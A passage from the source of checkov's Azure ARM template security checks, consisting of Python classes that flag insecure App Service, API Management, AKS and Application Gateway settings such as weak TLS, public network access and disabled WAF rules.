id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "apiVersion" in conf: if conf["apiVersion"] == "2017-08-31": # No enableRBAC option to configure self.evaluated_keys = ["apiVersion"] return CheckResult.FAILED self.evaluated_keys = ["properties"] properties = conf.get('properties') if not properties or not isinstance(properties, dict): return CheckResult.FAILED enable_RBAC = properties.get('enableRBAC') if str(enable_RBAC).lower() == "true": return CheckResult.PASSED self.evaluated_keys.append("properties/enableRBAC") return CheckResult.FAILED check = AKSRbacEnabled() ================================================ FILE: checkov/arm/checks/resource/AKSUpgradeChannel.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AKSUpgradeChannel(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure AKS cluster upgrade channel is chosen" id = "CKV_AZURE_171" supported_resources = ("Microsoft.ContainerService/managedClusters",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "properties/autoUpgradeProfile/upgradeChannel" def get_forbidden_values(self) -> Any: return "none" check = AKSUpgradeChannel() ================================================ FILE: checkov/arm/checks/resource/APIManagementMinTLS12.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class APIManagementMinTLS12(BaseResourceCheck): def __init__(self) -> None: name = "Ensure API management uses at least TLS 1.2" id = "CKV_AZURE_173" supported_resources = ("Microsoft.ApiManagement/service",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("properties") if isinstance(properties, dict) and "customProperties" in properties: self.evaluated_keys = ["properties"] customProperties = properties.get("customProperties") if isinstance(customProperties, dict): self.evaluated_keys = ["properties/customProperties"] if customProperties.get("Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Ssl30"): return CheckResult.FAILED if customProperties.get("Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Tls10"): return CheckResult.FAILED if customProperties.get("Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Ssl30"): return CheckResult.FAILED if customProperties.get("Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls10"): return CheckResult.FAILED if customProperties.get("Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls11"): return CheckResult.FAILED return CheckResult.PASSED check = APIManagementMinTLS12() ================================================ FILE: checkov/arm/checks/resource/APIManagementPublicAccess.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class APIManagementPublicAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure API management public access is disabled" id = "CKV_AZURE_174" supported_resources = ("Microsoft.ApiManagement/service",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> Any: return "Disabled" check = APIManagementPublicAccess() ================================================ FILE: checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class APIServicesUseVirtualNetwork(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that API management services use virtual networks" id = "CKV_AZURE_107" supported_resources = ("Microsoft.ApiManagement/service",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "properties/virtualNetworkConfiguration" def get_expected_value(self) -> Any: return ANY_VALUE check = APIServicesUseVirtualNetwork() ================================================ FILE: checkov/arm/checks/resource/AkSSecretStoreRotation.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AkSSecretStoreRotation(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters" id = "CKV_AZURE_172" supported_resources = ("Microsoft.ContainerService/managedClusters",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/addonProfiles/azureKeyvaultSecretsProvider/config/enableSecretRotation" check = AkSSecretStoreRotation() ================================================ FILE: checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck BAD_CIPHERS = { "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_CBC_SHA256", "TLS_RSA_WITH_AES_128_CBC_SHA256", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 ", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 ", "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA", "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", } PROTOCOL_VERSIONS = {"TLSv1_2", "TLSv1_3"} class AppGWDefinesSecureProtocols(BaseResourceCheck): def __init__(self) -> None: """ https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.AppGw.SSLPolicy/ """ name = "Ensure Application Gateway defines secure protocols for in transit communication" id = "CKV_AZURE_218" supported_resources = ("Microsoft.Network/applicationGateways",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: sslPolicy = conf["properties"].get("sslPolicy") if sslPolicy and isinstance(sslPolicy, dict): policyType = sslPolicy.get("policyType") if policyType != "Predefined": protocolversion = sslPolicy.get("minProtocolVersion") if ( protocolversion and isinstance(protocolversion, str) and protocolversion in PROTOCOL_VERSIONS ): ciphers = sslPolicy.get("cipherSuites") if ciphers and isinstance(ciphers, list) and any(cipher in BAD_CIPHERS for cipher in ciphers): return CheckResult.FAILED return CheckResult.PASSED policyName = sslPolicy.get("policyName") if policyName == "AppGwSslPolicy20220101S": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties/sslPolicy", "properties/sslPolicy/policyType", "properties/sslPolicy/minProtocolVersion", "properties/sslPolicy/cipherSuites"] check = AppGWDefinesSecureProtocols() ================================================ FILE: checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list class AppGatewayWAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_AZURE_135" supported_resources = ("Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies",) categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties") if not properties: return CheckResult.FAILED self.evaluated_keys = properties.get("managedRules") managed_rules = properties.get("managedRules") if managed_rules: managed_rule_sets = managed_rules.get("managedRuleSets") or [] for idx_rule_set, rule_set in enumerate(force_list(managed_rule_sets)): self.evaluated_keys = [ f"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleSetType", f"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleSetVersion", ] if (rule_set.get("ruleSetType") == "OWASP" or not rule_set.get("ruleSetType")) and rule_set.get("ruleSetVersion") in ["3.1", "3.2"]: rule_overrides = rule_set.get("ruleGroupOverrides") or [] for idx_override, rule_override in enumerate(force_list(rule_overrides)): self.evaluated_keys.extend( [ f"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleGroupOverrides/[{idx_override}]/ruleGroupName", f"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleGroupOverrides/[{idx_override}]/rules", ] ) if isinstance(rule_override, dict) and rule_override.get("ruleGroupName") == "REQUEST-944-APPLICATION-ATTACK-JAVA": disabled_rules = rule_override.get("rules") or [] for idx_rule_id, disabled_rule in enumerate(force_list(disabled_rules)): self.evaluated_keys.extend( [ f"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule_id}]/ruleId", ] ) if disabled_rule.get("ruleId") == "944240": return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = AppGatewayWAFACLCVE202144228() ================================================ FILE: checkov/arm/checks/resource/AppServiceAuthentication.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites/config-authsettings class AppServiceAuthentication(BaseResourceCheck): def __init__(self) -> None: name = "Ensure App Service Authentication is set on Azure App Service" id = "CKV_AZURE_13" supported_resources = ("Microsoft.Web/sites/config", "config") categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["name"] if self.entity_type == "Microsoft.Web/sites/config": if "name" in conf and "authsettings" in conf["name"]: if "properties" in conf and "enabled" in conf["properties"]: if str(conf["properties"]["enabled"]).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED elif self.entity_type == "config": if "name" in conf and conf["name"] == "authsettings": if "parent_type" in conf: if conf["parent_type"] == "Microsoft.Web/sites": if "properties" in conf: if "enabled" in conf["properties"]: if str(conf["properties"]["enabled"]).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN check = AppServiceAuthentication() ================================================ FILE: checkov/arm/checks/resource/AppServiceClientCertificate.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AppServiceClientCertificate(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites # clientCertEnabled default = false name = "Ensure the web app has 'Client Certificates (Incoming client certificates)' set" id = "CKV_AZURE_17" supported_resources = ('Microsoft.Web/sites',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "clientCertEnabled" in conf["properties"]: if str(conf["properties"]["clientCertEnabled"]).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/clientCertEnabled"] check = AppServiceClientCertificate() ================================================ FILE: checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py ================================================ from __future__ import annotations from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServiceDetailedErrorMessagesEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that App service enables detailed error messages" id = "CKV_AZURE_65" supported_resources = ['Microsoft.Web/sites/config'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/detailedErrorLoggingEnabled" check = AppServiceDetailedErrorMessagesEnabled() ================================================ FILE: checkov/arm/checks/resource/AppServiceDisallowCORS.py ================================================ from typing import Any, List from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppServiceDisallowCORS(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure that CORS disallows every resource to access app services" id = "CKV_AZURE_57" supported_resources = ("Microsoft.Web/sites",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED ) def get_inspected_key(self) -> str: return 'properties/siteConfig/cors/allowedOrigins' def get_forbidden_values(self) -> List[Any]: return ['*'] check = AppServiceDisallowCORS() ================================================ FILE: checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServiceDotnetFrameworkVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that 'Net Framework' version is the latest, if used as a part of the web app" id = "CKV_AZURE_80" supported_resources = ['Microsoft.Web/sites/config'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/netFrameworkVersion" def get_expected_value(self) -> str: return "v8.0" check = AppServiceDotnetFrameworkVersion() ================================================ FILE: checkov/arm/checks/resource/AppServiceEnableFailedRequest.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServiceEnableFailedRequest(BaseResourceValueCheck): def __init__(self) -> None: """ todo: revisit when graph fully enabled as web config section could be missing entirely from a web app """ name = "Ensure that App service enables failed request tracing" id = "CKV_AZURE_66" supported_resources = ["Microsoft.Web/sites/config"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/requestTracingEnabled" check = AppServiceEnableFailedRequest() ================================================ FILE: checkov/arm/checks/resource/AppServiceFTPSState.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck from typing import List from typing import Any class AppServiceFTPSState(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure FTP deployments are disabled" id = "CKV_AZURE_78" supported_resources = ('Microsoft.Web/sites',) categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/siteConfig/ftpsState" def get_expected_value(self) -> Any: return "Disabled" def get_expected_values(self) -> List[Any]: return ["Disabled", "FtpsOnly"] check = AppServiceFTPSState() ================================================ FILE: checkov/arm/checks/resource/AppServiceHTTPSOnly.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AppServiceHTTPSOnly(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites name = "Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service" id = "CKV_AZURE_14" supported_resources = ('Microsoft.Web/sites',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "httpsOnly" in conf["properties"]: if str(conf["properties"]["httpsOnly"]).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/httpsOnly"] check = AppServiceHTTPSOnly() ================================================ FILE: checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServiceHttpLoggingEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that App service enables HTTP logging" id = "CKV_AZURE_63" supported_resources = ["Microsoft.Web/sites/config"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/httpLoggingEnabled" def get_expected_value(self) -> bool: return True check = AppServiceHttpLoggingEnabled() ================================================ FILE: checkov/arm/checks/resource/AppServiceHttps20Enabled.py ================================================ from __future__ import annotations from typing import Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.data_structures_utils import find_in_dict class AppServiceHttps20Enabled(BaseResourceCheck): # apiVersion = 2018-11-01 - http20Enabled is a string # apiVersion > 2020-10-01 - http20Enabled is a boolean def __init__(self) -> None: name = "Ensure that 'HTTP Version' is the latest if used to run the web app" id = "CKV_AZURE_18" supported_resources = ("Microsoft.Web/sites",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties"] http_20_enabled = find_in_dict(conf, "properties/siteConfig/http20Enabled") if http_20_enabled and "apiVersion" in conf: self.evaluated_keys = ["properties/siteConfig/http20Enabled", "apiVersion"] if conf["apiVersion"] == "2018-11-01": if isinstance(http_20_enabled, str) and str(http_20_enabled).lower() == "true": return CheckResult.PASSED elif isinstance(http_20_enabled, bool) and http_20_enabled: return CheckResult.PASSED return CheckResult.FAILED check = AppServiceHttps20Enabled() ================================================ FILE: checkov/arm/checks/resource/AppServiceIdentity.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AppServiceIdentity(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites#ManagedServiceIdentity # https://docs.microsoft.com/en-us/azure/app-service/overview-managed-identity # https://docs.microsoft.com/en-us/azure/app-service/samples-resource-manager-templates name = "Ensure that Register with Azure Active Directory is enabled on App Service" id = "CKV_AZURE_16" supported_resources = ('Microsoft.Web/sites',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "identity" in conf: if "type" in conf["identity"]: if conf["identity"]["type"] == "SystemAssigned": return CheckResult.PASSED elif conf["identity"]["type"] == "UserAssigned": if "userAssignedIdentities" in conf["identity"]: if conf["identity"]["userAssignedIdentities"]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['identity', 'identity/type', 'identity/userAssignedIdentities'] check = AppServiceIdentity() ================================================ FILE: checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServiceIdentityProviderEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Managed identity provider is enabled for web apps" id = "CKV_AZURE_71" supported_resources = ('Microsoft.Web/sites',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/type" def get_expected_value(self) -> Any: return ANY_VALUE check = AppServiceIdentityProviderEnabled() ================================================ FILE: checkov/arm/checks/resource/AppServiceInstanceMinimum.py ================================================ from __future__ import annotations from typing import Dict, List from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppServiceInstanceMinimum(BaseResourceCheck): def __init__(self) -> None: # "App Services Plans provides a configurable number of instances that will run apps. # When a single instance is configured your app may be temporarily unavailable during unplanned interruptions. # In most circumstances, Azure will self-heal faulty app service instances automatically. # How-ever during this time there may interruptions to your workload." name = "Ensure App Service has a minimum number of instances for failover" id = "CKV_AZURE_212" supported_resources = ("Microsoft.Web/sites", "Microsoft.Web/sites/slots") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Dict[str, Dict[str, int]]]) -> CheckResult: if "properties" in conf: if conf.get("properties", {}).get("siteConfig") is not None: if "numberOfWorkers" in conf["properties"]["siteConfig"]: worker_count = conf["properties"]["siteConfig"]["numberOfWorkers"] if worker_count: if not isinstance(worker_count, int): return CheckResult.UNKNOWN if worker_count > 1: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/siteConfig", "properties/siteConfig/numberOfWorkers"] check = AppServiceInstanceMinimum() ================================================ FILE: checkov/arm/checks/resource/AppServiceJavaVersion.py ================================================ from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServiceJavaVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that 'Java version' is the latest, if used to run the web app" id = "CKV_AZURE_83" supported_resources = ('Microsoft.Web/sites',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.UNKNOWN) def get_inspected_key(self) -> str: return "siteConfig/javaVersion" def get_expected_value(self) -> Any: return '17' check = AppServiceJavaVersion() ================================================ FILE: checkov/arm/checks/resource/AppServiceMinTLSVersion.py ================================================ from typing import Any, List from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServiceMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure web app is using the latest version of TLS encryption" id = "CKV_AZURE_15" supported_resources = ("Microsoft.Web/sites",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites return "properties/siteConfig/minTlsVersion" def get_expected_value(self) -> Any: return "1.2" def get_expected_values(self) -> List[Any]: return ["1.2", 1.2, "1.3", 1.3] check = AppServiceMinTLSVersion() ================================================ FILE: checkov/arm/checks/resource/AppServicePHPVersion.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServicePHPVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that 'PHP version' is the latest, if used to run the web app" id = "CKV_AZURE_81" supported_resources = ["Microsoft.Web/sites"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.UNKNOWN) def get_inspected_key(self) -> str: return "properties/siteConfig/phpVersion" def get_expected_values(self) -> List[Any]: return ["8.1", "8.2"] check = AppServicePHPVersion() ================================================ FILE: checkov/arm/checks/resource/AppServicePlanZoneRedundant.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServicePlanZoneRedundant(BaseResourceValueCheck): def __init__(self) -> None: """ To enhance the resiliency and reliability of business-critical workloads, it's recommended to deploy new App Service Plans with zone-redundancy. There's no additional cost associated with enabling availability zones. Pricing for a zone redundant App Service is the same as a single zone App Service. """ name = "Ensure the App Service Plan is zone redundant" id = "CKV_AZURE_225" supported_resources = ["Microsoft.Web/serverfarms", ] categories = [CheckCategories.BACKUP_AND_RECOVERY, ] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "properties/zoneRedundant" def get_expected_value(self) -> bool: return True check = AppServicePlanZoneRedundant() ================================================ FILE: checkov/arm/checks/resource/AppServicePublicAccessDisabled.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServicePublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Web App public network access is disabled" id = "CKV_AZURE_222" supported_resources = [ "Microsoft.Web/sites", "Microsoft.Web/sites/slots", "Microsoft.Web/sites/config" ] categories = [CheckCategories.NETWORKING,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> Any: return "Disabled" check = AppServicePublicAccessDisabled() ================================================ FILE: checkov/arm/checks/resource/AppServicePythonVersion.py ================================================ from typing import List, Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppServicePythonVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that 'Python version' is the latest, if used to run the web app" id = "CKV_AZURE_82" supported_resources = ("Microsoft.Web/sites",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.UNKNOWN) def get_inspected_key(self) -> str: return "properties/siteConfig/pythonVersion" def get_expected_values(self) -> List[Any]: return ["3.9", "3.10", "3.11", "3.12"] check = AppServicePythonVersion() ================================================ FILE: checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AppServiceRemoteDebuggingNotEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that remote debugging is not enabled for app services" id = "CKV_AZURE_72" supported_resources = ["Microsoft.Web/sites",] categories = [CheckCategories.GENERAL_SECURITY,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED,) def get_inspected_key(self) -> str: return "properties/siteConfig/remoteDebuggingEnabled" def get_expected_value(self) -> bool: return False check = AppServiceRemoteDebuggingNotEnabled() ================================================ FILE: checkov/arm/checks/resource/AppServiceSetHealthCheck.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class AppServiceSetHealthCheck(BaseResourceValueCheck): def __init__(self) -> None: # "Azure App Service monitors a specific path for each web app instance to determine health status. # The monitored path should implement functional checks to determine if the app is performing correctly. # The checks should include dependencies including those that may not be regularly called. # Regular checks of the monitored path allow Azure App Service to route traffic based on availability." name = "Ensure that App Service configures health check" id = "CKV_AZURE_213" supported_resources = ('Microsoft.Web/sites', 'Microsoft.Web/sites/slots',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/siteConfig/healthCheckPath' def get_expected_values(self) -> Any: return ANY_VALUE check = AppServiceSetHealthCheck() ================================================ FILE: checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppServiceSlotDebugDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure debugging is disabled for the App service slot" id = "CKV_AZURE_155" supported_resources = ('Microsoft.Web/sites/slots', 'Microsoft.Web/sites',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "properties/siteConfig/remoteDebuggingEnabled" def get_expected_value(self) -> bool: return False check = AppServiceSlotDebugDisabled() ================================================ FILE: checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServiceSlotHTTPSOnly(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot" id = "CKV_AZURE_153" supported_resources = ("Microsoft.Web/sites", "Microsoft.Web/sites/slots",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/httpsOnly" check = AppServiceSlotHTTPSOnly() ================================================ FILE: checkov/arm/checks/resource/AppServiceUsedAzureFiles.py ================================================ from __future__ import annotations from typing import Any, List from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppServiceUsedAzureFiles(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that app services use Azure Files" id = "CKV_AZURE_88" supported_resources = ("Microsoft.Web/sites/config",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get('properties') if properties and isinstance(properties, dict): azureStorageAccounts = properties.get("azureStorageAccounts") if azureStorageAccounts and isinstance(azureStorageAccounts, dict): for account_data in azureStorageAccounts.values(): if isinstance(account_data, dict) and account_data.get('type') == "AzureFiles": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/azureStorageAccounts'] check = AppServiceUsedAzureFiles() ================================================ FILE: checkov/arm/checks/resource/AutomationEncrypted.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AutomationEncrypted(BaseResourceValueCheck): def 